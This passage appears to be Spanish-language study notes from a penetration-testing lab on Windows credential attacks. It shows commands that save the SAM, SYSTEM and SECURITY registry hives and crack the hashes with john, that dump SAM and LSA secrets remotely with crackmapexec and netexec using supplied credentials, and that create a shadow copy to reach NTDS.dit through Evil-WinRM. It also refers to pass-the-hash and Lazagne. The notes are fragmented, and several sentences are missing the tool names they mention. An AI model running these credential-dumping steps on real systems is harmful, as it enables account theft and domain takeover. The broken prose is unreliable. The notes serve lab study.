Contiene los hashes asociados a las contraseñas de cuentas locales. Necesitaremos los hashes para poder descifrarlos y obtener las contraseñas de las cuentas de usuario en texto sin formato.
hklm\system
Contiene la clave de arranque del sistema, que se utiliza para cifrar la base de datos SAM. Necesitaremos la clave de arranque para descifrar la base de datos SAM.
hklm\security
Contiene credenciales almacenadas en caché para cuentas de dominio. Puede resultar beneficioso tener esto en un destino de Windows unido a un dominio.
## Using reg.exe save to Copy Registry Hives
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash-sam --format=NT
Remote Dumping & LSA Secrets Considerations
Dumping LSA Secrets Remotely
crackmapexec smb 10.129.42.198 --local-auth -u bob -p 'password' --lsa
❯ netexec smb 10.129.17.0 --local-auth -u bob -p 'HTB_@cademy_stdnt!' --sam
Dumping SAM Remotely
crackmapexec smb 10.129.42.198 --local-auth -u bob -p 'password' --sam
Attacking LSASS
LSASS es un servicio crítico que desempeña un papel central en la administración de credenciales y los procesos de autenticación en todos los sistemas operativos Windows.
*Evil-WinRM* PS C:\> net localgroup
Aliases for \\DC01
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Account Operators
*Administrators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*DnsAdmins
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Incoming Forest Trust Builders
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Server Operators
*Storage Replica Administrators
*Terminal Server License Servers
*Users
*Windows Authorization Access Group
The command completed successfully.
Queremos comprobar si la cuenta tiene derechos de administrador local. Para hacer una copia del archivo NTDS.dit, necesitamos derechos de administrador local ( Administrators group) o de administrador de dominio ( Domain Admins group) (o equivalentes). También queremos comprobar qué privilegios de dominio tenemos.
Checking User Account Privileges including Domain
*Evil-WinRM* PS C:\> net user bwilliamson
User name bwilliamson
Full Name Ben Williamson
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/13/2022 12:48:58 PM
Password expires Never
Password changeable 1/14/2022 12:48:58 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/14/2022 2:07:49 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Domain Admins
The command completed successfully.
Esta cuenta tiene derechos de administrador y de administrador de dominio, lo que significa que podemos hacer casi todo lo que queramos, incluso hacer una copia del archivo NTDS.dit.
Creating Shadow Copy of C:
*Evil-WinRM* PS C:\> vssadmin CREATE SHADOW /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {186d5979-2f2b-4afe-8101-9f1111e4cb1a}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
Podemos crear nuestras listas manualmente o usar una automated list generatorherramienta basada en Ruby, como para convertir una lista de nombres reales en formatos de nombre de usuario comunes. Una vez que la herramienta se haya clonado en nuestro host de ataque local usando Git, podemos ejecutarla contra una lista de nombres reales como se muestra en el siguiente ejemplo de salida:
Todavía podemos usar hashes para intentar autenticarnos con un sistema mediante un tipo de ataque llamado Pass-the-Hash( PtH). Un ataque PtH aprovecha el para autenticar a un usuario mediante un hash de contraseña. En lugar de username: clear-text passwordcomo formato para iniciar sesión, podemos usar username: password hash. A continuación, se muestra un ejemplo de cómo funcionaría esto:
Podemos aprovechar herramientas de terceros como para descubrir rápidamente las credenciales que los navegadores web u otras aplicaciones instaladas pueden almacenar de forma insegura. Sería beneficioso mantener una de Lazagne en nuestro host de ataque para que podamos transferirla rápidamente al objetivo. Lazagne.exefuncionará perfectamente para nosotros en este escenario.